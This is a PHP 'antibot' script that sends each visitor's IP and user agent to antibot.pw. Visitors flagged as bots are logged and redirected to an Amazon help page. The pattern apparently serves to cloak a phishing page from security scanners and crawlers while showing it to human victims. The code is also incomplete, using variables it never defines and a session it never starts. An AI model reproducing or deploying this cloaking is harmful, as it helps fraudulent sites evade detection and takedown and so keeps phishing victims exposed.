<?php
// Read the settings.ini file
$config = parse_ini_file("settings.ini");

// Ensure the antibot_key exists in the config
if (isset($config['antibot_key'])) {
    $config_antibot = trim($config['antibot_key']);
    
    // Define the function to get the user's IP address
    function getUserIP()
    {
        $client  = @$_SERVER['HTTP_CLIENT_IP'];
        $forward = @$_SERVER['HTTP_X_FORWARDED_FOR'];
        $remote  = $_SERVER['REMOTE_ADDR'];
        
        if(filter_var($client, FILTER_VALIDATE_IP)) {
            $ip = $client;
        } elseif(filter_var($forward, FILTER_VALIDATE_IP)) {
            $ip = $forward;
        } else {
            $ip = $remote;
        }

        return $ip;
    }

    // Get the user's IP address
    $ip = getUserIP();

    // Check if antibot check has not been performed yet
    if ($_SESSION['antibot_wasChecked'] == false || !isset($_SESSION['antibot_wasChecked'])) {
        // Initialize cURL session
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_USERAGENT, "Antibot Blocker");
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        
        // Make the API request to antibot.pw with the necessary parameters
        curl_setopt($ch, CURLOPT_URL, "https://antibot.pw/api/v2-blockers?ip=" . $ip . "&apikey=" . $config_antibot . "&ua=" . urlencode($_SERVER['HTTP_USER_AGENT']));
        
        // Execute the request
        $data = curl_exec($ch);
        curl_close($ch);
        
        // Mark that the antibot check has been performed
        $_SESSION['antibot_wasChecked'] = true;
        
        // Decode the JSON response
        $x = json_decode($data, true);
        
        // If the user is identified as a bot, block them
        if ($x['is_bot']) {
            $_SESSION['is_bot'] = true;
            
            // Log the blocked bot's details in a log file
            $file = fopen("logs/log_visitor.txt", "a");
            $message = "|" . date("l d F H:i:s") . "|$countryname|" . $ip . "|$br|$os|BOT BLOCKED BY ANTIBOT\n";
            fwrite($file, $message);
            fclose($file);
            
            // Log the blocked bot in another file
            $file = fopen("logs/block_bot.txt", "a");
            fwrite($file, "|" . date("l d F H:i:s") . "|$countryname|" . $ip . "|$br|$os|BOT BLOCKED BY ANTIBOT\n");
            fclose($file);
            
            // Redirect the bot to a page (e.g., Amazon help page)
            header("location: https://www.amazon.com/gp/help/customer/display.html");
            exit();
        } else {
            // If not a bot, continue as normal
            $_SESSION['is_bot'] = false;
        }
    }
}
?>
